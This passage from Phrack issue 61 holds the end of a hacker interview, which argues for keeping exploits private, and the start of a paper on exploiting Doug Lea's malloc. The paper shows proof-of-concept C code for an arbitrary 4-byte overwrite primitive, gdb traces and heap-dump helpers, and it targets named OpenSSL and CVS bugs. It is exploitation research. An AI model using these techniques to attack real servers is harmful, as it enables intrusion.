a certain amount of time. Being able to be my own boss is probably my
greatest passion. I don't like to take orders and I value my independence
greatly and the ability to do whatever I want is pretty important to me.
In the past I basically quit everything to do almost nothing but
computers/inet/hacking. I did that since I was around 16 until I was 20. I
audited code around the clock, hacking, wrote exploits, and chatted with my
friends on irc from dusk till dawn basically.
The biggest experience for me was probably meeting the people that I
did and the influence they had on me to improve myself. I probably have
meeting antilove/RawPower and crazy-b at the top of my list with regards to
that and they both really influenced me a lot and they probably provided me
with my greatest experience with regards to hacking.
|=---=[ Which research have you done or which one gave you the most fun?
None much more than any other. Whenever I found some bug or something
that I knew was unknown and the satisfaction of exploiting it was a lot of
fun.
--=[ Memorable Experiences
I will never forget getting run over by a bus when I was 14 and having
to stay in a hospital for 3 months and the frequent trips for another year
afterwards pretty much is something I will never forget. Also the fact that
the longest strike of Icelandic highschool teachers in icelandic history
was happening at the exact same time I was stuck in a bed in a hospital.
Installing my first Linux system(back in '94 i think) and thinking that
the installation floppy shell prompt from the slackware distro was
basically a full installation of slackware ;> I had hardly any previous
experience with Linux at the time.
Spending an absurd amount of time at my computer doing crazy stuff for
no other reason other than to get the get the best rush imaginable.
Meeting crazy-b for the first time on the same system we were both
hacking and then deciding to meet on irc and becoming friends in the
process.
When crazy-b had to go into the norwegian army he wrote a small program
that was a rudimentary irc client that piped input from an irc channel to a
script that sent an sms to his phone with the input and also him being able
to send an email to his address that piped the content of the mail to the
irc channel. This way he could still irc from his mobile phone despite
being in the army ;>
Meeting the great antilove back in '97 and getting some private samba
warez ;>
Having antilove visit Iceland twice and doing lots of cool stuff with
him like rollerblading, hunting for smapika, acting stupid, him teaching me
how to lockpick, finding new bugs, writing exploits, teaching me how to
bluebox, etc.
Totally destroying my car when me and antilove were driving to a kfc in
2001 because some girl ran a red light at about 80km/h in the morning and
then laughing about it the entire day for some reason.
All the security.is weekends with the exploits we wrote and the bugs
that we found together and with the trademark security.is hamburgers as
made by portal.
Having lots of fun with mikasoft and ga when they visited Iceland for
new years a few years ago and especially when mikasoft was teaching yoga at
a new years eve dinner my family was throwing. Also the duck liver pat? was
disgusting.
Going to France with Icelandic friends and meeting a lot of hackers in
Paris and having like 10 guys sleeping in the smallest room you could
imagine. Then taking a cool train trip from Paris to montpellier and
meeting a lot of other hackers and just totally invading montpellier and
taking over an internet cafe for a week ;> Also hanging out at the beech
with the amazingly cool french guys and starting a fire and drinking beer
and listening to good music.
Going to the club La Dune on our FIRST night in montpellier with all
the french hackers/etc and buying a lot of champagne for everyone and
antilove and nitro buying a ton of vodka for a group of like 20 people and
just partying the entire night and watching all the non french people make
total asses of themselves.
Same night at La dune I will never forget witnessing Candypimp going
beserk after drinking way too much and trying to jump into the ocean and
then disapeering. we called the police to search for an 'insane' drunk
Icelandic person that couldn't speak english anymore and who thought he was
in his home city of Akureyri and not 50km away from montpellier and
probably even didn't know where we were staying!
JimJones was really drunk that night too and he passed out on some tree
before waking up again and deciding to take a piss. He went into some ditch
and somehow he managed to piss all over himself! If I remember correctly
me, nitro, and antilove had to remove his clothes that night because he was
too drunk to do it himself. He was then called pissman for the duration of
the trip ;>
Going to Las vegas with Starcon for blackhat and defcon and actually
PAYING for blackhat but I only went to 1 speech(halvars) because my brother
took the time to come down from Seattle to visit me.
Going to defcon and seeing how amazingly commercial and fake it really
is. Just look at the shit being sold there and all those stupid t-shirt
stands.
The coolest thing about defcon was the K2 party where a lot of people
were hanging out and it was a very memorable night and I had nice talks
with a lot of cool people.
A recent jimjones visit to Iceland where we really didn't do anything
except relax and drink beer and eat some BBQ. We also enjoyed a very nice
viewing of bad boy bubby which I recommend to anyone that wants a good
laugh and some insight into the world of jimjones(based on his lifes story).
|=---=[ Open Interview
[can give as much detailed answers here as you like]
Q: When did you start to play with computers?
A: I was probably around 12 years old when I got my first real computer.
Q: When did you had your first contact to the 'scene'?
A: Boy... I guess it is probably sometime in 1995 and I got involved with
some "hackers" doing some questionable things ;> I think I started off
by joining #hack on IRCnet and also #shells on efnet(ehrm! ;>)
Q: When did you for your first time connect to the internet?
A: Was at my school when I was probably around 13 years old and we had a
2400 baud modem and some old dial up program called kermit, i think,
that we used to call some line at the Icelandic university. It was
basically just a direct connection to a hp-ux box and someone tought me
how to use ircii and so basically my first experience with the Internet
was also my first time with irc.
Q: What other hobbies do you have?
A: I like to do stuff with my friends,go see movies, fish, read, go out for
drinks, and just anything that comes up.
Q: ...and how long did it take until you joined irc? Do you remember
the first channel you joined?
A: Again this was not very far between since I started irc pretty much the
same time. I believe the first channel I joined was #iceland.
Q: What's your architecture / OS of choice?
A: Im so used to intel so I really can't pick anything else and Linux is
still my preferred OS although i have netbsd here somewhere.
Q: What do you think about anti.security.is and non-disclosure?
A: anti security was a good idea but ultimately it was a failure. The
reason it failed was that the people that supported none-disclosure and
took part in antisec discussions were constantly arguing amongst
themselves about a lot of stuff some of which was for good reasons but
also stuff that was totally out there and eventually it lead to antisec
dying.
I personally believe that none-disclosure is the way to go and I have
believed that for some time now. I don't judge people that disclose
because I remember disclosing bugs/exploits at one point and so I am not
really in a position to flame people that continue to do so.
I mean antisec also had some stupid information in some areas
specifcally about the true reasons behind antisec were not to create
some greater security in the world or something like that which was
mentioned in the FAQ and we took a lot of crap for. It was to keep
security research where it belongs, with those that actually did it and
at most a small tight knit group. That basically meant that people that
found bugs, wrote exploits, and hacked wanted to keep their
exploits/research private so that they had some nice private warez for
some time ;>
Full disclosure is for equally selfish reasons because it really boils
down to two things: fame and money. People think, rightly so, that by
releasing bugs or exploits that they become recognized among their peers
and that might eventually lead to a job in security or something like
that. People that say they release bugs/exploits for the good of the
world or something like that are full of shit.
Q: What do you think about the right of other 'research' groups to forbid
other organizations the use of their exploits ("Copyright on exploits")?
A: Seriously who would care about a copyright header on some exploit?
People would use it anyways.
Q: What do you thing about full-disclosure. Is it important or dangerous?
A: I know I don't like it and there are a lot of good reasons why it sucks.
It ruins bugs! ;> And there are some negative "world issues" because
every hacker that wants to make a name for himself will try to write an
exploit for it and subsequently release it. Maybe he doesn't release
directly to BUGTRAQ but he gives it to lots of "friends" which leak it
of course and soon enough its everywhere.
What happens next is that every script kiddie and some more advanced
script kiddies will use the exploit and deface sites, ruin stuff, and
then soon a worm will appear. I do not personally have anything against
those things per se but I'm sure a lot of people do. If the
vulnerability is unknown or kept private such things would not happen.
Full disclosure can definetly be really dangerous and we all know that
the people that discover bugs in software aren't on some quest to secure
software for the good of the world. They do it for themselves. Also why
should hackers do the job for software companies and even if they
publish they risk getting sued or something? I also hate all those full
disclosure policies that say you need to give a vendor a month or
something before publishing and all the other stupid rules.
My advice: don't disclose - avoid the hassle.
I do however agree to some of the arguments about the necessity of full
disclosure. I can't remember any right now so forget that but ultimately
full disclosure of any vulnerability is the fuel the drives the
information security companies that don't care about anything except
their bottom line.
Q: If you see or hear about various protection meassures against hackers
such as grsecurity, PaX, Owl or strong encryption (SSH, SSL or IPSec)
do you think hacking will still be possible in the future? What kind of
vulnerabilities will people focus on in the future?
A: If we assume that all these programs are successful in stopping most
buffer overflow attacks and it has become 'impossible' to evade these
programs then just new types of vulnerabilities will be discovered.
Logic bugs in programs are just as dangerous as buffer overflows and so
hacking will of course be possible in the future the only thing that
will change are the vulnerabilities and the methods.
Q: How do you feel when yet another XSS vulnerability hits the media?
(Do you have a regex covering XSS postings in your spam filter?)
A: blah
Q: What will hacking in the future look like? More complicated or easier?
A: no idea.
Q: You have been in the scene for quite a while. If you look back, what
was the worst thing that happened to the scene? What was the best
that happened?
A: This "scene" always comes up. I never followed any specific scene or
anything. I was just chatting with my friends and hacking with them and
that was about it. Although I guess the commericialization of everything
in the scene was probably the worst thing that happened. Didn't bugtraq
get sold for millions of dollars? A mailing list! And companies buying
exploits how low can u get?
Q: If you could turn the clock backwards, what would you do different
in your young life ?
A: My young life? Portal calls me grandpa. I guess I would go back a few
years into the past and avoid losing contact with my old friends.
=---=[ One word comments
[give a 1-word comment to each of the words on the left]
Digital Millennium Copyright Act (DMCA): blabla
security.is : sleeping
Georges. W. BUSH : war
Companies buying exploits from hackers : silly
IRC : burp
Hacker meetings : colorful
Full Disclosure Policy : pseudo
anti.security.is : dead
Whitehats : dingdong
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
Do what you want to do and don't let anyone control you.
|=---=[ The future of the computer underground
What is the computer underground anyways? People talk about it as if it
were some very formal and controlled thing or something. The computer
underground as I understand it basically just consists of various groups
and places people hang out at and talk and do stuff together in small
seperate groups. I have no idea where it is gona go in the future.
|=---=[ Shoutouts & Greetings
I wana send a big hello to:
security.is, antilove(miss u bro), crazy-b(beware of hermaphrodites),
cleb(rest in peace man), old ADM pals, JimJones, old #hax guys! stealth,
sk8(freesk8.org), mikasoft, ga, ace24, ig-88, ghettodxm, scut, horizon,
duke, cheez, starcon, lkm, nitro, bawd, wtf, kewl, joey,
Synner/m0nty/Kod/Jackal(crazy greeks) and everyone of my other old friends
that I haven't talked to in years.
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f
|=--------------[ Advanced Doug lea's malloc exploits ]-----------------=|
|=----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com> ]-------------------------=|
|=----------------------------------------------------------------------=|
1 - Abstract
2 - Introduction
3 - Automating exploitation problems
4 - The techniques
4.1 - aa4bmo primitive
4.1.1 - First unlinkMe chunk
4.1.1.1 - Proof of concept 1: unlinkMe chunk
4.1.2 - New unlinkMe chunk
4.2 - Heap layout analysis
4.2.1 - Proof of concept 2: Heap layout debugging
4.3 - Layout reset - initial layout prediction - server model
4.4 - Obtaining information from the remote process
4.4.1 - Modifying server static data - finding process' DATA
4.4.2 - Modifying user input - finding shellcode location
4.4.2.1 - Proof of concept 3 : Hitting the output
4.4.3 - Modifying user input - finding libc's data
4.4.3.1 - Proof of concept 4 : Freeing the output
4.4.4 - Vulnerability based heap memory leak - finding libc's DATA
4.5 - Abusing the leaked information
4.5.1 - Recognizing the arena
4.5.2 - Morecore
4.5.2.1 - Proof of concept 5 : Jumping with morecore
4.5.3 - Libc's GOT bruteforcing
4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing
4.5.4 - Libc fingerprinting
4.5.5 - Arena corruption (top, last remainder and bin modification)
4.6 - Copying the shellcode 'by hand'
5 - Conclusions
6 - Thanks
7 - References
Appendix I - malloc internal structures overview
---------------------------------------------------------------------------
--[ 1. Abstract
This paper details several techniques that allow more generic and reliable
exploitation of processes that provide us with the ability to overwrite
an almost arbitrary 4 byte value at any location.
Higher level techniques will be constructed on top of the unlink() basic
technique (presented in MaXX's article [2]) to exploit processes which
allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic
memory allocator).
unlink() is used to force specific information leaks of the target process
memory layout. The obtained information is used to exploit the target
without any prior knowledge or hardcoded values, even when randomization
of main object's and/or libraries' load address is present.
Several tricks will be presented along different scenarios, including:
* special chunks crafting (cushion chunk and unlinkMe chunk)
* heap layout consciousness and analysis using debugging tools
* automatically finding the injected shellcode in the process memory
* forcing a remote process to provide malloc's internal structures
addresses
* looking for a function pointer within glibc
* injecting the shellcode into a known memory address
The combination of these techniques allows to exploit the OpenSSL 'SSLv2
Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double
free' [7] vulnerabilities in a fully automated way (without hardcoding
any target based address or offset), for example.
---------------------------------------------------------------------------
--[ 2. Introduction
Given a vulnerability which allows us to corrupt malloc's internal
structures (i.e. heap overflow, double free(), etc), we can say it
'provides' us with the ability to perform at least an 'almost arbitrary 4
bytes mirrored overwrite' primitive (aa4bmo from now on).
We say it's a 'mirrored' overwrite as the location we are writing at
minus 8 will be stored in the address given by the value we are writing
plus 12. Note we say almost arbitrary as we can only write values that are
writable, as a side effect of the mirrored copy.
The 'primitive' concept was previously introduced in the 'Advances in
format string exploitation' paper [4] and in the 'About exploits writing'
presentation [5].
Previous work 'Vudo - An object superstitiously believed to embody magical
power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully
detailed explanations on how to obtain the aa4bmo primitive from a
vulnerability. At [8] and [9] can be found the first examples of malloc
based exploitation.
We'll be using the unlink() technique from [2] as the basic lower level
mechanism to obtain the aa4bmo primitive, which we'll use through all the
paper to build higher level techniques.
malloc higher
vulnerability -> structures -> primitive -> level
corruption techniques
---------------------------------------------------------------------------
heap overflow unlink() freeing the output
double free() -> technique -> aa4bmo -> hitting the output
... cushion chunk
...
This paper focuses mainly on the question that arises after we reach the
aa4bmo primitive: what should we do once we know a process allows us to
overwrite four bytes of its memory with almost any arbitrary data?
In addition, tips to reach the aa4bmo primitive in a reliable way are
explained.
Although the techniques are presented in the context of malloc based
heap overflow exploitation, they can be employed to aid in format string
exploits as well, for example, or any other vulnerability or combination
of them, which provide us with similar capabilities.
The research was focused on the Linux/Intel platform; glibc-2.2.4,
glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c
(an updated version of malloc can be found at [1]). Along this paper we'll
use 'malloc' to refer to Doug Lea's malloc based implementation.
---------------------------------------------------------------------------
--] 3. Automating exploitation problems
When trying to answer the question 'what should we do once we know we can
overwrite four bytes of the process memory with almost any arbitrary
data?', we face several problems:
A] how can we be sure we are overwriting the desired bytes with the
desired bytes?
As the aa4bmo primitive is the underlying layer that allows us to
implement the higher level techniques, we need to be completely sure it is
working as expected, even when we know we won't know where our data will
be located. Also, in order to be useful, the primitive should not crash
the exploited process.
B] what should we write?
We may write the address of the code we intend to execute, or we may
modify a process variable. In case we inject our shellcode in the
process, we need to know its location, which may vary together with the
evolving process heap/stack layout.
C] where should we write?
Several known locations can be overwritten to modify the execution flow,
including for example the ones shown in [10], [11], [12] and [14].
In case we are overwriting a function pointer (as when overwriting a stack
frame, GOT entry, process specific function pointer, setjmp/longjmp,
file descriptor function pointer, etc), we need to know its precise location.
The same happens if we plan to overwrite a process variable. For example,
a GOT entry address may be different even when the source code is the
same, as compilation and linking parameters may yield a different process
layout, as happens with the same program source code compiled for
different Linux distributions.
Along this paper, our examples will be oriented at overwriting a function
pointer with the address of injected shellcode. However, some techniques
also apply to other cases.
Typical exploits are target based, hardcoding at least one of the values
required for exploitation, such as the address of a given GOT entry,
depending on the targeted daemon version and the Linux distribution and
release version. Although this simplifies the exploitation process, it is
not always feasible to obtain the required information (i.e. a server can
be configured to lie or to not disclose its version number). Besides, we
may not have the needed information for the target. Bruteforcing more than
one exploit parameter may not always be possible, if each of the values
can't be obtained separately.
There are some well known techniques used to improve the reliability
(probability of success) of a given exploit, but they are only an aid for
improving the exploitation chances. For example, we may pad the shellcode
with more nops, we may also inject a larger quantity of shellcode in the
process (depending on the process being exploited) inferring there are
more possibilities of hitting it that way. Although these enhancements
will improve the reliability of our exploit, they are not enough for an
exploit to work always on any vulnerable target. In order to create a
fully reliable exploit, we'll need to obtain both the address where our
shellcode gets injected and the address of any function pointer to
overwrite.
In the following, we discuss how these requirements may be accomplished in
an automated way, without any prior knowledge of the target server. Most
of the article details how we can force a remote process to leak the
required information using aa4bmo primitive.
---------------------------------------------------------------------------
--] 4. The techniques
--] 4.1 aa4bmo primitive
--] 4.1.1 First unlinkMe chunk
In order to be sure that our primitive is working as expected, even in
scenarios where we are not able to fully predict the location of our
injected fake chunk, we build the following 'unlinkMe chunk':
-4 -4 what where-8 -11 -15 -19 ...
|--------|--------|--------|--------|--------|--------|--------|...
sizeB sizeA FD BK
----------- nasty chunk -----------|--------|-------------------->
(X)
We just need a free() call to hit our block after the (X) point to
overwrite 'where' with 'what'.
When free() is called the following sequence takes place:
- chunk_free() tries to look for the next chunk, it takes the chunk's
size (<0) and adds it to the chunk address, obtaining always the sizeA
of the 'nasty chunk' as the start of the next chunk, as all the sizes
after the (X) are relative to it.
- Then, it checks the prev_inuse bit of our chunk, but as we set it (each
of the sizes after the (X) point has the prev_inuse bit set, the
IS_MMAPPED bit is not set) it does not try to backward consolidate
(because the previous chunk 'seems' to be allocated).
- Finally, it checks if the fake next chunk (our nasty chunk) is free. It
takes its size (-4) to look for the next chunk, obtaining our fake
sizeB, and checks for the prev_inuse flag, which is not set. So, it
tries to unlink our nasty chunk from its bin to coalesce it with the
chunk being freed.
- When unlink() is called, we get the aa4bmo primitive. The unlink()
technique is described in [2] and [3].
--] 4.1.1.1 Proof of concept 1: unlinkMe chunk
We'll use the following code to show in a simple way the unlinkMe chunk in
action:
#define WHAT_2_WRITE 0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ 256
#define SOMEOFFSET 5 + (rand() % (SZ-1))
#define PREV_INUSE 1
#define IS_MMAP 2
int main(void){
unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
int i = 0;
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = WHAT_2_WRITE;
unlinkMe[i++] = WHERE_2_WRITE-8;
for(;i<SZ;i++){
unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
}
free(unlinkMe+SOMEOFFSET);
return 0;
}
Breakpoint 3, free (mem=0x804987c) at heapy.c:3176
if (mem == 0) /* free(0) has no effect */
3181 p = mem2chunk(mem);
3185 if (chunk_is_mmapped(p)) /* release mmapped memory. */
We did not set the IS_MMAPPED bit.
3193 ar_ptr = arena_for_ptr(p);
3203 (void)mutex_lock(&ar_ptr->mutex);
3205 chunk_free(ar_ptr, p);
After some checks, we reach chunk_free().
(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221
Let's see how does our chunk looks at a random location...
(gdb) x/20x p
0x8049874: 0xfffffd71 0xfffffd6d 0xfffffd69 0xfffffd65
0x8049884: 0xfffffd61 0xfffffd5d 0xfffffd59 0xfffffd55
0x8049894: 0xfffffd51 0xfffffd4d 0xfffffd49 0xfffffd45
0x80498a4: 0xfffffd41 0xfffffd3d 0xfffffd39 0xfffffd35
0x80498b4: 0xfffffd31 0xfffffd2d 0xfffffd29 0xfffffd25
We dumped the chunk including its header, as received by chunk_free().
3221 INTERNAL_SIZE_T hd = p->size; /* its head field */
3235 sz = hd & ~PREV_INUSE;
(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c
3236 next = chunk_at_offset(p, sz);
3237 nextsz = chunksize(next);
Using the negative relative size, chunk_free() gets the next chunk, let's
see which is the 'next' chunk:
(gdb) x/20x next
0x80495e0: 0xfffffffc 0xfffffffc 0xbfffff00 0xbffffef8
0x80495f0: 0xfffffff5 0xfffffff1 0xffffffed 0xffffffe9
0x8049600: 0xffffffe5 0xffffffe1 0xffffffdd 0xffffffd9
0x8049610: 0xffffffd5 0xffffffd1 0xffffffcd 0xffffffc9
0x8049620: 0xffffffc5 0xffffffc1 0xffffffbd 0xffffffb9
(gdb) p/x nextsz
$7 = 0xfffffffc
It's our nasty chunk...
3239 if (next == top(ar_ptr)) /* merge with top */
3278 islr = 0;
3280 if (!(hd & PREV_INUSE)) /* consolidate backward */
We avoid the backward consolidation, as we set the PREV_INUSE bit.
3294 if (!(inuse_bit_at_offset(next, nextsz)))
/* consolidate forward */
But we force a forward consolidation. The inuse_bit_at_offset() macro adds
nextsz (-4) to our nasty chunk's address, and looks for the PREV_INUSE bit
in our other -4 size.
3296 sz += nextsz;
3298 if (!islr && next->fd == last_remainder(ar_ptr))
3306 unlink(next, bck, fwd);
unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as
forward and backward pointers (it does not crash, as they are valid
addresses).
next = chunk_at_offset(p, sz);
3315 set_head(p, sz | PREV_INUSE);
3316 next->prev_size = sz;
3317 if (!islr) {
3318 frontlink(ar_ptr, p, sz, idx, bck, fwd);
fronlink() is called and our chunk is inserted in the proper bin.
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
bin 126 @ 0x40018430
free_chunk @ 0x80498d8 - size 0xfffffd64
The chunk was inserted into one of the bigger bins... as a consequence of
its 'negative' size.
The process won't crash if we are able to maintain this state. If more
calls to free() hit our chunk, it won't crash. But it will crash in case a
malloc() call does not find any free chunk to satisfy the allocation
requirement and tries to split one of the bins in the bin number 126, as
it will try to calculate where is the chunk after the fake one, getting
out of the valid address range because of the big 'negative' size (this
may not happen in a scenario where there is enough memory allocated
between the fake chunk and the top chunk, forcing this layout is not very
difficult when the target server does not impose tight limits to our
requests size).
We can check the results of the aa4bmo primitive:
(gdb) x/20x 0xbfffff00
!!!!!!!!!! !!!!!!!!!!
0xbfffff00: 0xbfffff00 0x414c0065 0x653d474e 0xbffffef8
0xbfffff10: 0x6f73692e 0x39353838 0x53003531 0x415f4853
0xbfffff20: 0x41504b53 0x2f3d5353 0x2f727375 0x6562696c
0xbfffff30: 0x2f636578 0x6e65706f 0x2f687373 0x6d6f6e67
0xbfffff40: 0x73732d65 0x73612d68 0x7361706b 0x4f480073
If we add some bogus calls to free() in the following way:
for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);
we obtain the following result for example:
--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 126 @ 0x40018430
free_chunk @ 0x8049958 - size 0x8049958
free_chunk @ 0x8049954 - size 0xfffffd68
free_chunk @ 0x8049928 - size 0xfffffd94
free_chunk @ 0x8049820 - size 0x40018430
free_chunk @ 0x80499c4 - size 0xfffffcf8
free_chunk @ 0x8049818 - size 0xfffffea4
without crashing the process.
--] 4.1.2 New unlinkMe chunk
Changes introduced in newer libc versions (glibc-2.3 for example) affect
our unlinkMe chunk. The main problem for us is related to the addition of
one flag bit more. SIZE_BITS definition was modified, from:
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)
to:
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
The new flag, NON_MAIN_ARENA is defined like this:
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
This makes our previous unlinkMe chunk to fail in two different points in
systems using a newer libc.
Our first problem is located within the following code:
public_fREe(Void_t* mem)
{
...
ar_ptr = arena_for_chunk(p);
...
_int_free(ar_ptr, mem);
...
where:
#define arena_for_chunk(ptr) \
(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
and
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
If heap_for_ptr() is called when processing our fake chunk, the process
crashes in the following way:
0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip 0x42074a04 <free+84>: and $0x4,%edx
(gdb) x/20x $edx
0xffffffdd: Cannot access memory at address 0xffffffdd
0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip 0x42074a07 <free+87>: je 0x42074a52 <free+162>
0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip 0x42074a09 <free+89>: and $0xfff00000,%eax
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi
(gdb) x/x $eax
0x8000000: Cannot access memory at address 0x8000000
Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi
So, the fake chunk size has to have its NON_MAIN_ARENA flag not set.
Then, our second problem takes places when the supplied size is masked
with the SIZE_BITS. Older code looked like this:
nextsz = chunksize(next);
0x400152e2 <chunk_free+64>: mov 0x4(%edx),%ecx
0x400152e5 <chunk_free+67>: and $0xfffffffc,%ecx
and new code is:
nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax
0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax
So, we can't use -4 anymore, the smaller size we can provide is -8.
Also, we are not able anymore to make every chunk to point to our nasty
chunk. The following code shows our new unlinkMe chunk which solves both
problems:
unsigned long *aa4bmoPrimitive(unsigned long what,
unsigned long where,unsigned long sz){
unsigned long *unlinkMe;
int i=0;
if(sz<13) sz = 13;
unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
// 1st nasty chunk
unlinkMe[i++] = -4; // PREV_INUSE is not set
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
// 2nd nasty chunk
unlinkMe[i++] = -4; // PREV_INUSE is not set
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
for(;i<sz;i++)
if(i%2)
// relative negative offset to 1st nasty chunk
unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
else
// relative negative offset to 2nd nasty chunk
unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
free(unlinkMe+SOMEOFFSET(sz));
return unlinkMe;
}
The process is similar to the previously explained for the first unlinkMe
chunk version. Now, we are using two nasty chunks, in order to be able to
point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not
set) before each of the nasty chunks, which is accessed in step 3 of the
'4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can
provide.
This new version of the unlinkMe chunk works both in older and newer libc
versions. Along the article most proof of concept code uses the first
version, replacing the aa4bmoPrimitive() function is enough to obtain an
updated version.
---------------------------------------------------------------------------
--] 4.2 Heap layout analysis
You may want to read the 'Appendix I - malloc internal structures
overview' section before going on.
Analysing the targeted process heap layout and its evolution allows to
understand what is happening in the process heap in every moment, its
state, evolution, changes... etc. This allows to predict the allocator
behavior and its reaction to each of our inputs.
Being able to predict the heap layout evolution, and using it to our
advantage is extremely important in order to obtain a reliable
exploit.
To achieve this, we'll need to understand the allocation behavior of
the process (i.e. if the process allocates large structures for each
connection, if lots of free chunks/heap holes are generated by a
specific command handler, etc), which of our inputs may be used to
force a big/small allocation, etc.
We must pay attention to every use of the malloc routines, and
how/where we might be able to influence them via our input so
that a reliable situation is reached.
For example, in a double free() vulnerability scenario, we know the
second free() call (trying to free already freed memory), will
probably crash the process. Depending on the heap layout evolution
between the first free() and the second free(), the portion of memory
being freed twice may: have not changed, have been reallocated several
times, have been coalesced with other chunks or have been overwritten and
freed.
The main factors we have to recognize include:
A] chunk size: does the process allocate big memory chunks? is our
input stored in the heap? what commands are stored in the heap?
is there any size limit to our input? am I able to force a heap
top (top_chunk) extension?
B] allocation behavior: are chunks allocated for each of our
connections? what size? are chunks allocated periodically? are
chunks freed periodically? (i.e. async garbage collector, cache
pruning, output buffers, etc)
C] heap holes: does the process leave holes? when? where? what size?
can we fill the hole with our input? can we force the overflow
condition in this hole? what is located after the hole? are we
able to force the creation of holes?
D] original heap layout: is the heap layout predictable after process
initialization? after accepting a client connection? (this is
related to the server mode)
During our tests, we use an adapted version of a real malloc
implementation taken from the glibc, which was modified to generate
debugging output for each step of the allocator's algorithms, plus three
helper functions added to dump the heap layout and state.
This allows us to understand what is going on during exploitation, the
actual state of the allocator internal structures, how our input affects
them, the heap layout, etc.
Here is the code of the functions we'll use to dump the heap state:
static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
mchunkptr p;
fprintf(stderr,"\n--- HEAP DUMP ---\n");
fprintf(stderr,
" ADDRESS SIZE FD BK\n");
fprintf(stderr,"sbrk_base %p\n",
(mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK));
p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK);
for(;;) {
fprintf(stderr, "chunk %p 0x%.4x", p, (long)p->size);
if(p == top(ar_ptr)) {
fprintf(stderr, " (T)\n");
break;
} else if(p->size == (0|PREV_INUSE)) {
fprintf(stderr, " (Z)\n");
break;
}
if(inuse(p))
fprintf(stderr," (A)");
else
fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);
if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
fprintf(stderr," (LR)");
else if(p->fd==p->bk & ~inuse(p))
fprintf(stderr," (LC)");
fprintf(stderr,"\n");
p = next_chunk(p);
}
fprintf(stderr,"sbrk_end %p\n",sbrk_base+sbrked_mem);
}
static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
mchunkptr p;
fprintf(stderr,"\n--- HEAP LAYOUT ---\n");
p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK);
for(;;p=next_chunk(p)) {
if(p==top(ar_ptr)) {
fprintf(stderr,"|T|\n\n");
break;
}
if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
fprintf(stderr,"|L|");
continue;
}
if(inuse(p)) {
fprintf(stderr,"|A|");
continue;
}
fprintf(stderr,"|%lu|",bin_index(p->size));
continue;
}
}
}
static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
int i;
mbinptr b;
mchunkptr p;
fprintf(stderr,"\n--- BIN DUMP ---\n");
(void)mutex_lock(&ar_ptr->mutex);
fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));
for (i = 1; i < NAV; ++i)
{
char f = 0;
b = bin_at(ar_ptr, i);
for (p = last(b); p != b; p = p->bk)
{
if(!f){
f = 1;
fprintf(stderr," bin %d @ %p\n",i,b);
}
